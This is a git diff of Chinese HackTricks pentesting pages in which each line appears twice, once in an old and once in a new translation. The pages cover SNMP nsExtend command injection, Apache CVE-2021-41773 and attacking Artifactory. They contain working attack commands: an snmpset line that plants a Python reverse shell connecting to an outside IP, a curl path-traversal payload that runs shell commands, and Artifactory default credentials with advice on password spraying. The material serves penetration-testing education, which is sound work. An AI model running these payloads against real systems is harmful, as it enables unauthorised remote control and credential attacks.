* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
这篇文章的内容来自[https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
本文摘自[https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)
|
||||
|
||||
SNMP有时会被设备或服务器的管理员忽视,因为它处于默认配置状态。在Linux操作系统上具有写权限(**rwcommunity**)的SNMP社区可以被滥用,让攻击者在服务器上执行命令。
|
||||
SNMP有时会被设备或服务器的管理员忽视,它被保留在默认配置中。在Linux操作系统上具有写权限(**rwcommunity**)的SNMP社区可以被滥用,允许攻击者在服务器上执行命令。
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-6.png?w=508)
|
||||
|
||||
# **扩展服务**
|
||||
|
||||
虽然您无法修改已配置在**snmpd.conf**中的现有条目,但可以通过SNMP添加其他命令,因为MIB定义中的“MAX-ACCESS”权限设置为“**read-create**”。
|
||||
虽然您无法修改在**snmpd.conf**中配置的现有条目,但可以通过SNMP添加额外的命令,因为MIB定义中的“MAX-ACCESS”权限设置为“**read-create**”
|
||||
|
||||
基本上,添加新命令的方法是将额外的行追加到“**nsExtendObjects**”表中。
|
||||
添加新命令基本上是通过向“**nsExtendObjects**”表追加额外的行来实现的。
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
|
||||
'nsExtendStatus."evilcommand"' = createAndGo \
|
||||
'nsExtendCommand."evilcommand"' = /bin/echo \
|
||||
'nsExtendArgs."evilcommand"' = 'hello world'
|
||||
```
|
||||
注入一个命令以在SNMP服务上运行。**NET-SNMP-EXTEND-MIB**要求您始终提供可执行文件的绝对路径。被调用的二进制文件/脚本也必须存在并且可执行。
|
||||
在SNMP服务中注入命令以运行。**NET-SNMP-EXTEND-MIB** 要求您始终提供可执行文件的绝对路径。被调用的二进制文件/脚本也必须存在且可执行。
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-15.png?w=916)
|
||||
|
||||
通过使用snmpwalk枚举来执行我们注入到SNMP的命令
|
||||
使用snmpwalk枚举我们注入到SNMP中的命令来执行该命令
|
||||
```bash
|
||||
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
|
||||
```
|
||||
显示命令为/bin/echo。
|
||||
显示命令是 `/bin/echo`。
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-11.png?w=569)
|
||||
|
||||
当命令被读取时,将执行该命令。**run-on-read\(\)**
|
||||
当它被读取时,命令将被执行。**run-on-read\(\)**
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-12.png?w=612)
|
||||
|
||||
在我们的snmpwalk读取期间执行了命令**/bin/echo "hello rio is here"**
|
||||
命令 **/bin/echo "hello rio is here"** 在我们的 snmpwalk 读取期间被执行了
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-13.png?w=653)
|
||||
|
||||
# **从Net-SNMP Extend获取Shell**
|
||||
# **从 Net-SNMP Extend 获取 Shell**
|
||||
|
||||
在本节中,我将讨论如何获得服务器Shell以控制服务器。
|
||||
在这一节中,我想讨论如何获得服务器 shell 来控制服务器。
|
||||
|
||||
您可以使用由**mxrch**开发的Python脚本,可以从[**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git)下载。
|
||||
你可以使用由 **mxrch** 开发的 python 脚本,可以从 [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) 下载。
|
||||
|
||||
您可以安装运行此脚本所需的先决条件:
|
||||
你可以安装运行此脚本的前提条件:
|
||||
```bash
|
||||
sudo apt install snmp snmp-mibs-downloader rlwrap -y
|
||||
git clone https://github.com/mxrch/snmp-shell
|
||||
|
@ -67,36 +65,26 @@ sudo python3 -m pip install -r requirements.txt
|
|||
```
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-18.png?w=723)
|
||||
|
||||
**创建反向Shell**
|
||||
**创建反向 shell**
|
||||
|
||||
您还可以通过将以下命令注入到SNMP中手动创建反向Shell。
|
||||
您也可以通过将下面的命令注入到 SNMP 中来手动创建反向 shell
|
||||
```bash
|
||||
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
|
||||
```
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-19.png?w=930)
|
||||
|
||||
运行snmpwalk触发命令执行
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-21.png?w=687)
|
||||
|
||||
我们的netcat接收到来自受害者的反向shell连接,使我们能够控制受害者机器
|
||||
|
||||
![](https://rioasmara.files.wordpress.com/2021/02/image-20.png?w=502)
|
||||
|
||||
|
||||
我们的netcat从受害者那里接收reverseshell连接,这使我们能够控制受害者机器
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,36 +1,32 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
使用 [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) 查找漏洞和配置错误
|
||||
通过[https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker)找到漏洞和配置错误
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为英雄级人物</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,27 +1,25 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客攻击</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家 NFT 收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者在 **Twitter** 上 **关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 可执行的 PHP 扩展
|
||||
# 可执行PHP扩展
|
||||
|
||||
检查 Apache 服务器正在执行哪些扩展。你可以执行以下命令来搜索它们:
|
||||
检查Apache服务器正在执行哪些扩展。您可以执行以下操作来搜索它们:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
此配置的一些可能位置包括:
|
||||
在以下位置可能找到此配置:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
|
@ -30,17 +28,31 @@ grep -R -B1 "httpd-php" /etc/apache2
|
|||
```
|
||||
# CVE-2021-41773
|
||||
|
||||
## Description
|
||||
在Apache HTTP Server 2.4.49版本中,当`mod_cgi`被启用时,如果`Require all denied`配置指令被误用,攻击者可以利用路径遍历漏洞,访问系统文件。这可能导致敏感信息泄露。
|
||||
|
||||
Apache HTTP Server versions 2.4.49 and prior are vulnerable to a path traversal attack. This vulnerability allows an attacker to access files outside of the web root directory by appending "../" sequences to the URL. By exploiting this vulnerability, an attacker can potentially view sensitive files or execute arbitrary code on the server.
|
||||
## 漏洞详情
|
||||
|
||||
## Exploitation
|
||||
CVE-2021-41773是一个路径遍历漏洞,存在于Apache HTTP Server 2.4.49版本中。攻击者可以通过构造特定的请求,绕过访问控制,获取对服务器文件的访问权限。
|
||||
|
||||
To exploit this vulnerability, an attacker can send a specially crafted HTTP request with "../" sequences in the URL. This will allow them to traverse the file system and access files that are not intended to be publicly accessible.
|
||||
## 利用条件
|
||||
|
||||
## Mitigation
|
||||
- Apache HTTP Server 2.4.49版本
|
||||
- `mod_cgi`模块启用
|
||||
- 错误配置的`Require all denied`指令
|
||||
|
||||
To mitigate this vulnerability, it is recommended to upgrade to Apache HTTP Server version 2.4.50 or later. Additionally, it is advised to implement proper input validation and sanitization to prevent path traversal attacks. Regular security audits and monitoring can also help detect and prevent such vulnerabilities.
|
||||
## 利用方法
|
||||
|
||||
攻击者可以发送特制的HTTP请求,包含`..`来遍历服务器的目录,访问不应该公开的文件。
|
||||
|
||||
## 修复建议
|
||||
|
||||
- 升级到Apache HTTP Server 2.4.50或更高版本。
|
||||
- 确保正确配置`Require all denied`指令,以防止未授权访问。
|
||||
|
||||
## 参考链接
|
||||
|
||||
- [Apache 官方安全公告](https://httpd.apache.org/security/vulnerabilities_24.html)
|
||||
- [CVE-2021-41773 详细信息](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773)
|
||||
```bash
|
||||
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
|
@ -48,16 +60,14 @@ Linux
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零到英雄学习AWS黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,68 +1,66 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习AWS黑客攻击成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**这段内容来自** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
**此内容摘自** [**https://www.errno.fr/artifactory/Attacking\_Artifactory**](https://www.errno.fr/artifactory/Attacking\_Artifactory)
|
||||
|
||||
# Artifactory基础 <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
# Artifactory基础知识 <a href="#artifactory-basics" id="artifactory-basics"></a>
|
||||
|
||||
## 默认用户和密码 <a href="#default-users-and-passwords" id="default-users-and-passwords"></a>
|
||||
|
||||
Artifactory的默认账户如下:
|
||||
Artifactory的默认账户有:
|
||||
|
||||
| 账户 | 默认密码 | 备注 |
|
||||
| ------------ | ---------------------------------------------- | -------------------------------------------------------------------- |
|
||||
| admin | password | 常用的管理账户 |
|
||||
| access-admin | password (<6.8.0) 或随机值 (>= 6.8.0) | 仅用于本地管理操作 |
|
||||
| anonymous | ’’ | 匿名用户,用于远程检索软件包,但默认情况下未启用 |
|
||||
| ------------ | --------------------------------------------- | --------------------------------------------------------------------- |
|
||||
| admin | password | 常见的管理账户 |
|
||||
| access-admin | password (<6.8.0) 或 随机值 (>= 6.8.0) | 仅用于本地管理操作 |
|
||||
| anonymous | ’’ | 匿名用户远程检索包,不默认启用 |
|
||||
|
||||
默认情况下,Artifactory没有密码锁定策略,这使得Artifactory成为凭证填充和密码喷洒攻击的主要目标。
|
||||
默认情况下,没有密码锁定策略,这使得Artifactory成为凭证填充和密码喷涂攻击的首要目标。
|
||||
|
||||
## 授权 <a href="#authorizations" id="authorizations"></a>
|
||||
|
||||
理想情况下,当连接到Artifactory时,您应该看到以下内容:
|
||||
理想情况下,当您连接到Artifactory时,应该看到这样的界面:
|
||||
|
||||
![登录页面](https://www.errno.fr/artifactory/artif\_login.png)
|
||||
|
||||
另一方面,如果您看到以下内容:
|
||||
另一方面,如果您看到的是类似这样的界面:
|
||||
|
||||
![默认页面](https://www.errno.fr/artifactory/artif\_default.png)
|
||||
|
||||
这意味着“匿名访问”已在管理面板中启用,这是一种常见的设置,用于让应用程序无需麻烦地检索工件,但也让您作为攻击者看到了更多不应该看到的内容。
|
||||
这意味着在管理面板中启用了“匿名访问”,这是一个常见的设置,用于让应用程序无障碍地检索工件,但让您,攻击者,看到的内容比预期的要多。
|
||||
|
||||
## 检查账户权限 <a href="#checking-account-rights" id="checking-account-rights"></a>
|
||||
|
||||
有时,由于配置错误,匿名用户被允许向某些存储库部署文件!
|
||||
有时,由于配置错误,匿名用户被允许向某些仓库部署文件!
|
||||
|
||||
要检查匿名用户可以向哪些存储库部署文件,请使用以下请求:
|
||||
要检查匿名用户可以部署到哪些仓库,请使用以下请求:
|
||||
```
|
||||
curl http://localhost:8081/artifactory/ui/repodata?deploy=true
|
||||
{"repoList":["artifactory-build-info","example-repo-local"]}
|
||||
```
|
||||
如果请求中存在`repoKey`条目,匿名用户可以向这些条目部署文件,这是非常糟糕的。你绝对应该进行身份验证才能部署任何文件。
|
||||
如果请求中有任何`repoKey`条目,匿名用户可以部署这些条目,这是非常非常糟糕的。你绝对应该经过认证才能部署任何文件。
|
||||
|
||||
一旦你获得了其他账户的密码或令牌,这个方法就可以推广到其他账户上。
|
||||
一旦你获得了其他账户的密码或令牌,这可以推广到其他账户。
|
||||
|
||||
## 列出用户 <a href="#listing-users" id="listing-users"></a>
|
||||
|
||||
由于某种原因,只有管理员才有权列出用户。我找到了一种替代方法来列出用户(至少是那些正在部署的用户),它依赖于工件的“Deployed By”值:
|
||||
出于某种原因,列出用户是只有管理员才有的权限。我找到了一种替代方法来列出用户(至少是那些活跃部署的用户),这依赖于工件的“部署者”值:
|
||||
|
||||
![Deployed By](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
|
||||
![部署者](https://www.errno.fr/artifactory/artif\_deployed\_by.png)
|
||||
|
||||
[这个脚本](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a)简单地尝试递归地找出所有已部署工件的用户。请注意,如果有很多仓库(>1000),这可能需要一些时间来完成。
|
||||
[这个脚本](https://gist.github.com/gquere/347e8e042490be87e6e9e32e428cb47a)简单地尝试递归查找所有部署了工件的用户。注意,如果仓库很多(>1000),完成这个操作可能需要一段时间。
|
||||
```
|
||||
./artifactory_list_users.py http://127.0.0.1:8081/artifactory
|
||||
There are 23 repositories to process
|
||||
|
@ -78,74 +76,77 @@ Found user test_deploy
|
|||
* 管理:?
|
||||
* 删除/覆盖:对渗透测试有趣
|
||||
* 部署/缓存:对渗透测试有趣
|
